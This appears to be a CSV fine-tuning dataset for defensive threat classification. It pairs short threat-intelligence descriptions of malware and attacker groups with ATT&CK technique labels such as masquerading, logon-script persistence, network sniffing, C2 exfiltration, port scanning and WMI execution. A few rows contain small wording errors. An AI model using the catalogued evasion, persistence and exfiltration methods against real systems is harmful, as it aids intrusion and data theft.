"Mustang Panda has used names like `adobeupdate.dat` and `PotPlayerDB.dat` to disguise PlugX, and a file named `OneDrive.exe` to load a Cobalt Strike payload.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Naikon has disguised malicious programs as Google Chrome, Adobe, and VMware executables.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Nebulae uses functions named ""StartUserModeBrowserInjection"" and ""StopUserModeBrowserInjection"" indicating that it's trying to imitate chrome_frame_helper.dll.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"OLDBAIT installs itself in ""%ALLUSERPROFILE%\\Application Data\Microsoft\MediaPlayer\updatewindws.exe""; the directory name is missing a space and the file name is missing the letter ""o.""",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
OSX/Shlayer can masquerade as a Flash Player update.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Octopus has been disguised as legitimate programs, such as Java and Telegram Messenger.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"One of Dtrack can hide in replicas of legitimate programs like OllyDbg, 7-Zip, and FileZilla.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"OwaAuth uses the filename owaauth.dll, which is a legitimate file that normally resides in ""%ProgramFiles%\Microsoft\Exchange Server\ClientAccess\Owa\Auth\""; the malicious file by the same name is saved in ""%ProgramFiles%\Microsoft\Exchange Server\ClientAccess\Owa\bin\"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
PUNCHBUGGY mimics filenames from %SYSTEM%\System32 to hide DLLs in %WINDIR% and/or %TEMP%.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Patchwork installed its payload in the startup programs folder as ""Baidu Software Update."" The group also adds its second stage payload to the startup programs as “Net Monitor."" They have also dropped QuasarRAT binaries as files named microsoft_network.exe and crome.exe.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
PcShare has been named `wuauclt.exe` to appear as the legitimate Windows Update AutoUpdate Client.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Penquin has mimicked the Cron binary to hide itself on compromised systems.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
PlugX has been disguised as legitimate Adobe and PotPlayer files.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Poseidon Group tools attempt to spoof anti-virus processes as a means of self-defense.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Pysa has executed a malicious executable by naming it svchost.exe.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"QUADAGENT used the PowerShell filenames ""Office365DCOMCheck.ps1"" and ""SystemDiskClean.ps1"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
RDAT has masqueraded as VMware.exe.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
REvil can mimic the names of known executables.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Raindrop was installed under names that resembled legitimate Windows file and directory names.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"RainyDay has used names to mimic legitimate software including ""vmtoolsd.exe"" to spoof Vmtools.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Rocke has used shell scripts which download mining executables and saves them with the filename ""java"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Ryuk has constructed legitimate appearing installation folder paths by calling ""GetWindowsDirectoryW"" and then inserting a null byte at the fourth character of the path. For Windows Vista or higher, the path would appear as ""C:\Users\Public"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"S-Type may save itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"SLOTHFULMEDIA has mimicked the names of known executables, such as mediaplayer.exe.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
SUGARDUMP has been named `CrashReporter.exe` to appear as a legitimate Mozilla executable.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
SUNBURST created VBScripts that were named after existing services or folders to blend into legitimate activities.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"SUNSPOT was identified on disk with a filename of ""taskhostsvc.exe"" and it created an encrypted log file at ""C:\Windows\Temp\vmware-vmdmp.log"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Saint Bot has been disguised as a legitimate executable, including as Windows SDK.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Sandworm Team has avoided detection by naming a malicious binary explorer.exe.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Shark binaries have been named `audioddg.pdb` and `Winlangdb.pdb` in order to appear legitimate.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"ShimRatReporter spoofed itself as ""AlphaZawgyl_font.exe"", a specialized Unicode font.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Sidewinder has named malicious files ""rekeywiz.exe"" to match the name of a legitimate Windows executable.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Skidmap has created a fake ""rm"" binary to replace the legitimate Linux binary.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Sowbug named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory ""CSIDL_APPDATA\microsoft\security"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
StrongPity has been bundled with legitimate software installation files for disguise.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"TEMP.Veles has renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
TRITON disguised itself as the legitimate Triconex Trilog application.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Tarrask has masqueraded as executable files such as `winupdate.exe`, `date.exe`, or `win.exe`.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
TeamTNT has replaced .dockerd and .dockerenv with their own scripts and cryptocurrency mining software.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"The Bazar loader has named malicious shortcuts ""adobe"" and mimicked communications software.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
The TAINTEDSCRIBE main executable has disguised itself as Microsoft’s Narrator.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by APT1 as a name for malware.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
ThiefQuest prepends a copy of itself to the beginning of an executable file while maintaining the name of the executable.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
ThreatNeedle chooses its payload creation path from a randomly selected service name from netsvc.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
TinyTurla has been deployed as `w64time.dll` to appear legitimate.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"To establish persistence, SslMM identifies the Start Menu Startup directory and drops a link to its own executable disguised as an “Office Start,” “Yahoo Talk,” “MSN Gaming Z0ne,” or “MSN Talk” shortcut.","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
Tropic Trooper has hidden payloads in Flash directories and fake installer files.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
USBStealer mimics a legitimate Russian program called USB Disk Security.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Ursnif has used strings from legitimate system files and existing folders for its file, folder, and Registry entry names.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
WIRTE has named a first stage dropper `Kaspersky Update Agent` in order to appear legitimate.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"ZLib mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"admin@338 actors used the following command to rename one of their tools to a benign file name: ""ren ""%temp%\upload"" audiodg.exe""",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
menuPass has been seen changing malicious files to appear legitimate.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Keydnap puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program.,['T1036.006 - Masquerading: Space after Filename'],fine_tune
The Bazar loader has used dual-extension executable files such as PreviewReport.DOC.exe.,['T1036.007 - Masquerading: Double File Extension'],fine_tune
"An APT28 loader Trojan adds the Registry key ""HKCU\Environment\UserInitMprLogonScript"" to establish persistence.",['T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)'],fine_tune
"Attor's dispatcher can establish persistence via adding a Registry key with a logon script ""HKEY_CURRENT_USER\Environment ""UserInitMprLogonScript"" "".",['T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)'],fine_tune
"Cobalt Group has added persistence by registering the file name for the next stage malware under ""HKCU\Environment\UserInitMprLogonScript"".",['T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)'],fine_tune
"KGH_SPY has the ability to set the ""HKCU\Environment\UserInitMprLogonScript"" Registry key to execute logon scripts.",['T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)'],fine_tune
"Zebrocy performs persistence with a logon script via adding to the Registry key ""HKCU\Environment\UserInitMprLogonScript"".",['T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)'],fine_tune
"Cyclops Blink has the ability to execute on device startup, using a modified RC script named S51armled.",['T1037.004 - Boot or Logon Initialization Scripts: Rc.common'],fine_tune
"Green Lambert can add ""init.d"" and ""rc.d"" files in the ""/etc"" folder to establish persistence.",['T1037.004 - Boot or Logon Initialization Scripts: Rc.common'],fine_tune
jRAT can list and manage startup entries.,['T1037.005 - Boot or Logon Initialization Scripts: Startup Items'],fine_tune
APT28 has collected files from network shared drives.,['T1039 - Data from Network Shared Drive'],fine_tune
Chimera has collected data of interest from network shares.,['T1039 - Data from Network Shared Drive'],fine_tune
CosmicDuke steals user files from network shared drives with file extensions and keywords that match a predefined list.,['T1039 - Data from Network Shared Drive'],fine_tune
Egregor can collect any files found in the enumerated drivers before sending it to its C2 channel.,['T1039 - Data from Network Shared Drive'],fine_tune
Fox Kitten has searched network shares to access sensitive documents.,['T1039 - Data from Network Shared Drive'],fine_tune
Gamaredon Group malware has collected Microsoft Office documents from mapped network drives.,['T1039 - Data from Network Shared Drive'],fine_tune
Ramsay can collect data from network drives and stage it for exfiltration.,['T1039 - Data from Network Shared Drive'],fine_tune
Sowbug extracted Word documents from a file server on a victim network.,['T1039 - Data from Network Shared Drive'],fine_tune
"When it first starts, BADNEWS crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.",['T1039 - Data from Network Shared Drive'],fine_tune
"menuPass has collected data from remote systems by mounting network shares with ""net use"" and using Robocopy to transfer data.",['T1039 - Data from Network Shared Drive'],fine_tune
"APT28 deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials. APT28 close-access teams have used Wi-Fi pineapples to intercept Wi-Fi signals and user credentials.",['T1040 - Network Sniffing'],fine_tune
DarkVishnya used network sniffing to obtain login data.,['T1040 - Network Sniffing'],fine_tune
Emotet has been observed to hook network APIs to monitor network traffic.,['T1040 - Network Sniffing'],fine_tune
Empire can be used to conduct packet captures on target hosts.,['T1040 - Network Sniffing'],fine_tune
FoggyWeb can configure custom listeners to passively monitor all incoming HTTP GET and POST requests sent to the AD FS server from the intranet/internet and intercept HTTP requests that match the custom URI patterns defined by the actor.,['T1040 - Network Sniffing'],fine_tune
Impacket can be used to sniff network traffic via an interface or raw socket.,['T1040 - Network Sniffing'],fine_tune
"MESSAGETAP uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP and finally extracts SMS message data and routing metadata.",['T1040 - Network Sniffing'],fine_tune
NBTscan can dump and print whole packet content.,['T1040 - Network Sniffing'],fine_tune
Penquin can sniff network traffic to look for packets matching specific conditions.,['T1040 - Network Sniffing'],fine_tune
PoshC2 contains a module for taking packet captures on compromised hosts.,['T1040 - Network Sniffing'],fine_tune
Responder captures hashes and credentials that are sent to the system after the name services have been poisoned.,['T1040 - Network Sniffing'],fine_tune
Sandworm Team has used intercepter-NG to sniff passwords in network traffic.,['T1040 - Network Sniffing'],fine_tune
A Gamaredon Group file stealer can transfer collected files to a hardcoded C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
APT3 has a tool that exfiltrates data over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
APT32's backdoor has exfiltrated data using the already opened channel with its C&C server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
APT39 has exfiltrated stolen victim data through C2 communications.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Adversaries can direct BACKSPACE to upload files to the C2 Server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
AppleJeus has exfiltrated collected host information to a C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Astaroth exfiltrates collected information from its r1.log file to the external C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Attor has exfiltrated data over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
AuTo Stealer can exfiltrate data over actor-controlled C2 servers via HTTP or TCP.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
BLUELIGHT has exfiltrated data over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Bandook can upload files from a victim's machine over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Bankshot exfiltrates data over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Bisonal has added the exfiltrated data to the URL over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Bumblebee can send collected data in JSON format to C2.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
CallMe exfiltrates data to its C2 server over the same protocol as C2 communications.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Cannon exfiltrates collected data over email via SMTP/S and POP3/S C2 channels.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Caterpillar WebShell can upload files over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
CharmPower can exfiltrate gathered data to a hardcoded C2 URL via HTTP POST.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Chimera has used Cobalt Strike C2 beacons for data exfiltration.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
CreepySnail can connect to C2 for data exfiltration.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Crimson can exfiltrate stolen information over its C2.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Crutch can exfiltrate data over the primary C2 channel (Dropbox HTTP API).,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Cyclops Blink has the ability to upload exfiltrated files to a C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Data exfiltration is done by Okrum using the already opened channel with the C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
DnsSystem can exfiltrate collected data to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Doki has used Ngrok to establish C2 and exfiltrate data.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Drovorub can exfiltrate files over C2 infrastructure.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"During Frankenstein, the threat actors collected information via Empire, which sent the data back to the adversary's C2.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"During Operation Honeybee, the threat actors uploaded stolen files to their C2 servers.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
DustySky has exfiltrated data to the C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Dyre has the ability to send information staged on a compromised host externally to C2.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Ebury can exfiltrate SSH credentials through custom DNS queries.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Emotet has been seen exfiltrating system information stored within cookies sent within an HTTP GET request back to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Flagpro has exfiltrated data to the C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
FlawedAmmyy has sent data collected from a compromised host to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
FoggyWeb can remotely exfiltrate sensitive information from a compromised AD FS server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"FunnyDream can execute commands, including gathering user information, and send the results to C2.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
GALLIUM used Web shells and HTRAN for C2 and to exfiltrate data.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Grandoreiro can send data it retrieves to the C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
GrimAgent has sent data related to a compromise host over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
HOPLIGHT has used its C2 channel to exfiltrate data.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Higaisa exfiltrated data over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
HotCroissant has the ability to download files from the infected host to the command and control (C2) server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"Imminent Monitor has uploaded a file containing debugger logs, network information and system information to the C2.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
Industroyer sends information about hardware profiles and previously-received commands back to the C2 server in a POST-request.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
KGH_SPY can exfiltrate collected information from the host to the C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
KONNI has sent data and files to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Kessel has exfiltrated information gathered from the infected system to the C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Kimsuky has exfiltrated data over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Leviathan has exfiltrated data over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
LightNeuron exfiltrates data over its email C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"LitePower can send collected data, including screenshots, over its C2 channel.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
MacMa exfiltrates data from a supplied path over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Machete's collected data is exfiltrated over the same channel used for C2.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
MarkiRAT can exfiltrate locally stored data via its C2.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
MechaFlounder has the ability to send the compromised user's account name and hostname within a URL to C2.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Metamorfo can send the data it collects to the C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Misdat has uploaded files and data to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Mongall can upload files and information from a compromised host to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
MuddyWater has used C2 infrastructure to receive exfiltrated data.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Octopus has uploaded stolen files and data from a victim's machine over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
OopsIE can upload files from the victim's machine to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Operation Wocao has used the Xserver backdoor to exfiltrate data.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
OutSteel can upload files from a compromised host over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
PcShare can upload files and information from a compromised host to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
PoetRAT has exfiltrated data over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Proxysvc performs data exfiltration over the control server channel using a custom protocol.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Psylo exfiltrates data to its C2 server over the same protocol as C2 communications.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Pteranodon exfiltrates screenshot files to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"Pupy can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"QakBot can send stolen information to C2 nodes including passwords, accounts, and emails.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"Remexi performs exfiltration over BITSAdmin, which is also used for the C2 channel.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
S-Type has uploaded data and files from a compromised host to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
SDBbot has sent collected data from a compromised host to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
SILENTTRINITY can transfer files from an infected host to the C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
SMOKEDHAM has exfiltrated data to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
STARWHALE can exfiltrate collected data to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Sandworm Team has sent system information to its C2 server using HTTP.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Shark has the ability to upload files from the compromised host over a DNS or HTTP C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
ShimRatReporter sent generated reports to the C2 via HTTP POST requests.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
SideTwist has exfiltrated data over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"Sliver can exfiltrate files from the victim using the ""download"" command.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
SombRAT has uploaded collected data and files from a compromised host to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
StrifeWater can send data and files from a compromised host to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
StrongPity can exfiltrate collected documents through C2 channels.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Stuxnet sends compromised victim information via HTTP.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
TajMahal has the ability to send collected files over its C2.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"Tomiris can upload files matching a hardcoded set of extensions, such as .doc, .docx, .pdf, and .rar, to its C2 server.",['T1041 - Exfiltration Over C2 Channel'],fine_tune
Torisma can send victim data to an actor-controlled C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
TrickBot can send information about the compromised host and upload data to a hardcoded C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Ursnif has used HTTP POSTs to exfil gathered information.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Valak has the ability to exfiltrate data over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
XCSSET exfiltrates data stolen from a system over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
ZLib has sent data and files from a compromised host to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
njRAT has used HTTP to receive stolen information from the infected machine.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"APT32 performed network scanning on the network to search for open ports, services, OS finger-printing, and other vulnerabilities.",['T1046 - Network Service Discovery'],fine_tune
APT34 has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.,['T1046 - Network Service Discovery'],fine_tune
APT39 has used CrackMapExec and a custom port scanner known as BLUETORCH for network scanning.,['T1046 - Network Service Discovery'],fine_tune
Backdoor.Oldrea can use a network scanning module to identify ICS-related ports.,['T1046 - Network Service Discovery'],fine_tune
BlackEnergy has conducted port scans on a host.,['T1046 - Network Service Discovery'],fine_tune
BlackTech has used the SNScan tool to find other potential targets on victim networks.,['T1046 - Network Service Discovery'],fine_tune
China Chopper's server component can spider authentication portals.,['T1046 - Network Service Discovery'],fine_tune
Cobalt Group leveraged an open-source tool called SoftPerfect Network Scanner to perform network scanning.,['T1046 - Network Service Discovery'],fine_tune
Conficker scans for other machines to infect.,['T1046 - Network Service Discovery'],fine_tune
CostaRicto employed nmap and pscan to scan target environments.,['T1046 - Network Service Discovery'],fine_tune
"During CostaRicto, the threat actors employed nmap and pscan to scan target environments.",['T1046 - Network Service Discovery'],fine_tune
"During Operation Wocao, threat actors scanned for open ports and used nbtscan to find NETBIOS nameservers.",['T1046 - Network Service Discovery'],fine_tune
HDoor scans to identify open ports on the victim.,['T1046 - Network Service Discovery'],fine_tune
HermeticWizard has the ability to scan ports on a compromised network.,['T1046 - Network Service Discovery'],fine_tune
Industroyer uses a custom port scanner to map out a network.,['T1046 - Network Service Discovery'],fine_tune
InvisiMole can scan the network for open ports and vulnerable instances of RDP and SMB protocols.,['T1046 - Network Service Discovery'],fine_tune
Koadic can scan for open TCP ports on the target network.,['T1046 - Network Service Discovery'],fine_tune
Lucifer can scan for open ports including TCP ports 135 and 1433.,['T1046 - Network Service Discovery'],fine_tune
NBTscan can be used to scan IP networks.,['T1046 - Network Service Discovery'],fine_tune
OilRig has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.,['T1046 - Network Service Discovery'],fine_tune
Operation Wocao has scanned for open ports and used nbtscan to find NETBIOS nameservers.,['T1046 - Network Service Discovery'],fine_tune
Peirates can initiate a port scan against a given IP address.,['T1046 - Network Service Discovery'],fine_tune
PoshC2 can perform port scans from an infected host.,['T1046 - Network Service Discovery'],fine_tune
Pupy has a built-in module for port scanning.,['T1046 - Network Service Discovery'],fine_tune
Pysa can perform network reconnaissance using the Advanced Port Scanner tool.,['T1046 - Network Service Discovery'],fine_tune
Rocke conducted scanning for exposed TCP port 7001 as well as SSH and Redis servers.,['T1046 - Network Service Discovery'],fine_tune
SILENTTRINITY can scan for open ports on a compromised machine.,['T1046 - Network Service Discovery'],fine_tune
SpeakUp checks for availability of specific ports on servers.,['T1046 - Network Service Discovery'],fine_tune
"Suckfly the victim's internal network for hosts with ports 8080, 5900, and 40 open.",['T1046 - Network Service Discovery'],fine_tune
TeamTNT has used masscan to search for open Docker API ports and Kubernetes clusters. TeamTNT has also used malware that utilizes zmap and zgrab to search for vulnerable services in cloud environments.,['T1046 - Network Service Discovery'],fine_tune
ZxShell can launch port scans.,['T1046 - Network Service Discovery'],fine_tune
"menuPass has used tcping.exe, similar to Ping, to probe port status on systems of interest.",['T1046 - Network Service Discovery'],fine_tune
A BlackEnergy 2 plug-in uses WMI to gather victim host details.,['T1047 - Windows Management Instrumentation'],fine_tune
A Threat Group-3390 tool can use WMI to execute a binary.,['T1047 - Windows Management Instrumentation'],fine_tune
APT29 used WMI to steal credentials and execute backdoors at a future time. They have also used WMI for the remote execution of files for lateral movement.,['T1047 - Windows Management Instrumentation'],fine_tune
APT32 used WMI to deploy their tools on remote machines and to gather information about the Outlook process.,['T1047 - Windows Management Instrumentation'],fine_tune
"APT41 used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via PowerSploit.",['T1047 - Windows Management Instrumentation'],fine_tune
Agent Tesla has used wmi queries to gather information from the system.,['T1047 - Windows Management Instrumentation'],fine_tune
Astaroth uses WMIC to execute payloads.,['T1047 - Windows Management Instrumentation'],fine_tune
Blue Mockingbird has used wmic.exe to set environment variables.,['T1047 - Windows Management Instrumentation'],fine_tune
Bumblebee can use WMI to gather system information and to spawn processes for code injection.,['T1047 - Windows Management Instrumentation'],fine_tune
CharmPower can use `wmic` to gather information from a system.,['T1047 - Windows Management Instrumentation'],fine_tune
Chimera has used WMIC to execute remote commands.,['T1047 - Windows Management Instrumentation'],fine_tune
CrackMapExec can execute remote commands using Windows Management Instrumentation.,['T1047 - Windows Management Instrumentation'],fine_tune
DarkWatchman can use WMI to execute commands.,['T1047 - Windows Management Instrumentation'],fine_tune
"During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host.",['T1047 - Windows Management Instrumentation'],fine_tune
"During Frankenstein, the threat actors used WMI queries to check if various security applications were running as well as to determine the operating system version.",['T1047 - Windows Management Instrumentation'],fine_tune
EKANS can use Windows Mangement Instrumentation (WMI) calls to execute operations.,['T1047 - Windows Management Instrumentation'],fine_tune
EVILNUM has used the Windows Management Instrumentation (WMI) tool to enumerate infected machines.,['T1047 - Windows Management Instrumentation'],fine_tune
Earth Lusca used a VBA script to execute WMI.,['T1047 - Windows Management Instrumentation'],fine_tune
Emotet has used WMI to execute powershell.exe.,['T1047 - Windows Management Instrumentation'],fine_tune
Empire can use WMI to deliver a payload to a remote host.,['T1047 - Windows Management Instrumentation'],fine_tune
EvilBunny has used WMI to gather information about the system.,['T1047 - Windows Management Instrumentation'],fine_tune
FELIXROOT uses WMI to query the Windows Registry.,['T1047 - Windows Management Instrumentation'],fine_tune
FIN6 has used WMI to automate the remote execution of PowerShell scripts.,['T1047 - Windows Management Instrumentation'],fine_tune
FIN7 has used WMI to install malware on targeted systems.,['T1047 - Windows Management Instrumentation'],fine_tune
FIN8's malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution. FIN8 has also used WMIC for lateral movement as well as during and post compromise cleanup activities.,['T1047 - Windows Management Instrumentation'],fine_tune
FlawedAmmyy leverages WMI to enumerate anti-virus on the victim.,['T1047 - Windows Management Instrumentation'],fine_tune
"Frankenstein has used WMI queries to check if various security applications were running, as well as the operating system version.",['T1047 - Windows Management Instrumentation'],fine_tune
FunnyDream can use WMI to open a Windows command shell on a remote machine.,['T1047 - Windows Management Instrumentation'],fine_tune
GALLIUM used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets.,['T1047 - Windows Management Instrumentation'],fine_tune
Gamaredon Group has used WMI to execute scripts used for discovery.,['T1047 - Windows Management Instrumentation'],fine_tune
